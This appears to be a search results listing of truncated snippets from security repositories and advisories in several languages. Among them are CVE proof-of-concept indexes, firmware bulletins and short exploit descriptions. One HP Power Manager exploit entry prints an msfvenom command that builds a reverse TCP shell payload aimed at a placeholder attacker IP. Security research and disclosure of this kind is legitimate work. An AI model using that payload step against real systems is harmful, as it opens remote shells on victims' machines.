Exploits

익스플로잇 원본 CVE, 익스플로잇 PoC 및 보안 권고 작성자: @kmkz · boffsec-services.com · @kmkzsecurity 2026 파일| 대상| 유형| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| 권고 3-CVE 체인| 9.3 CVE-2026-22191-POC.py| SicuroWeb / Beghelli Sicuro24| PoC mitmproxy| 9.3...

power-pwn

Поддерживается: Безопасные AI-агенты повсюду. Обзор Power Pwn — это набор инструментов для атакующей и защитной безопасности для Microsoft 365 Power Platform и сервисов AI. Основные возможности, среди прочего: 💾 PowerDump : Комплексное сканирование и сбор данных арендатора 🚪 BackDoor :...

uhubctl

uhubctl uhubctl is utility to control USB power per-port on smart USB hubs. Smart hub is defined as one that implements per-port power switching. Original idea for this code was inspired by hub-ctrl.c by Niibe Yutaka: https://www.gniibe.org/development/ac-power-control-by-USB-hub Compatible USB...

esp32-cve-2025-27840-power-trace-experiment

esp32-cve-2025-27840-power-trace-experiment ESP32가 문서화되지 않은 hci 블루투스 명령CVE-2025-27840을 수신할 때 블루투스 모듈의 동작에 대한 전력 트레이스를 얻기 위한 펌웨어입니다. ESP32가 명령을 수신하면 GPIO 핀을 토글하여 전력 트레이스 캡처를 트리거합니다. 블루투스 컨트롤러 태스크가 스케줄될 때 이를 수행하려면 트레이스 훅trace hook을 사용하는 것을 권장합니다. 트리거 메커니즘은 trigger-mechanisms 폴더에서 확인할 수 있습니다. 이 코드는...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System Control Software settimezone RCE脆弱性 CVE-2023-28343 中国語名: Altenergy Power System Control Software settimezone リモートコマンド実行の脆弱性（CVE-2023-28343） CVSS スコア:9.0 説明 : Altenergy Power System Control Softwareは、Altenergy Power System製のマイクロインバータ制御ソフトウェアです。 影響 : Altenergy...

knob

knob Расчёт размеров бортового накопителя в трамвае и размещение питающей подстанции...

Powertek Firmware <3.30.30 - Authorization Bypass

Powertek firmware multiple brands before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface /cgi/getparam.cgi with the tmpToken cookie set to an...

Eaton Intelligent Power Manager 1.6 - Directory Traversal

Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution. id: CVE-2018-12031 info: name: Eaton Intelligent Power Manager 1.6 - Directory Traversal author: daffainfo...

Altenergy Power Control Software C1.2.5 - Remote Command Injection

Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/settimezone parameter, because of settimezone in models/managementmodel.php. An attacker can potentially obtain sensitive information, modify data, and/or execut...

Android-Forensics-References

Android 포렌식 참고 자료 마지막 업데이트: 2025년 9월 22일 USERDATA 파티션 "/log" 폴더 /log/wifi/iwc/iwcdump.txt Cellebrite CTF 2023 요약: Sharon의 Android에 대한 답변 https://cellebrite.com/en/cellebrite-ctf-2023-recap-sharons-android/ /log/netstats /log/batterystats Cellebrite CTF 2021 - Heisenberg의 Android...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 익스플로잇 다음에서 영감을 받음: https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 1단계 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

power_analysis

RSAに対する電力解析攻撃 Index Index はじめに 電力解析攻撃 RSA：簡単な紹介 RSAの例 機器 電力測定：簡単な紹介 オームの法則 キルヒホッフの電圧則（KVL） 分圧器 シャント抵抗 電力測定の例 高速べき乗 Arduino（Atmega328P）における高速べき乗 結果 結論 参考文献 はじめに 最近、Stackoverflowのこのトピックのように、Arduino用の暗号を自作している人を目にしました：...

CVE-2009-3999-HP-Power-Manager-4.2-Build-7-Buffer-Overflow

В рамках подготовки к OSCP я наткнулся на CVE-2009-3999 эксплойт переполнения буфера HP Power Manager 4.2 Build 7. Последняя версия скрипта обновлена для устранения проблем совместимости с Python 3, связанных с обработкой строк и байтов, что гарантирует передачу полезной нагрузки в виде...

Overglade-Badges

Бейджи хакатона Overglade с нулевым энергопотреблением Это бейджи с нулевым энергопотреблением для хакатона Overglade в Сингапуре, разработанные мной! Они работают на RP2040 и имеют пассивный NFC и встроенный драйвер e-ink! Особенности Пассивный NFC-тап для чего угодно Поддержка e-ink, чтобы не...

power-tracks-research

Power Tracks 研究 "Power Tracks"、"Stock Galaxy"、"Warped Prism" のマーケットメカニクスに関する包括的な研究リポジトリ。このコードベースには、現代のマーケットマイクロストラクチャにおける体系的な異常を発見・マッピングするために使用されたツール、パイプライン、検証スイートが含まれています。 構成 研究は3つの主要な柱に分かれています。 I. シグナル: Power Tracks & ステガノグラフィ 異常な「ハートビート」と隠されたデータチャンネルを検出する。 フェーズ57 : 検出スタック - Power Tracks...

ossem-power-up

OSSEM Инструмент для оценки качества данных, построенный на основе потрясающего проекта OSSEM. Миссия Ответить на вопрос: я хочу начать охоту на техники ATT&CK, какие источники журналов и события наиболее подходят? Создать прозрачность в сильных и слабых сторонах ваших источников журналов...

CVE-2026-74691 net: thunderbolt: Tear down DMA paths before stopping the rings

In the Linux kernel, the following vulnerability has been resolved: net: thunderbolt: Tear down DMA paths before stopping the rings tbnetteardown stops both rings and frees their frame buffers before calling tbxdomaindisablepaths. tbringstop zeroes the ring's descriptor base and tbnetfreebuffers...

Security Bulletin: This Power System update is being released to address CVE-2026-19234

Summary Power Systems Firmware is affected by a vulnerability in the host firmware boot process image validation path. An attacker with service access to the service processor can supply a maliciously crafted code update image, allowing arbitrary code to be executed on the host system. Successful...

Security Bulletin: This Power System update is being released to address CVE-2026-17494

Summary Power Systems Firmware is affected by a vulnerability in the interface between the BMC and the host system. An attacker with service access to the BMC can send a specially crafted command, allowing arbitrary code to be executed on the host system, giving full control over the host system...

Security Bulletin: This Power System update is being released to address CVE-2026-16933

Summary Power Systems Firmware is affected by a vulnerability in the interface between the BMC/FSP and the host system. An attacker with service account or root access to the BMC/FSP can read and write arbitrary regions of host system memory, giving full control over the host system and all hoste...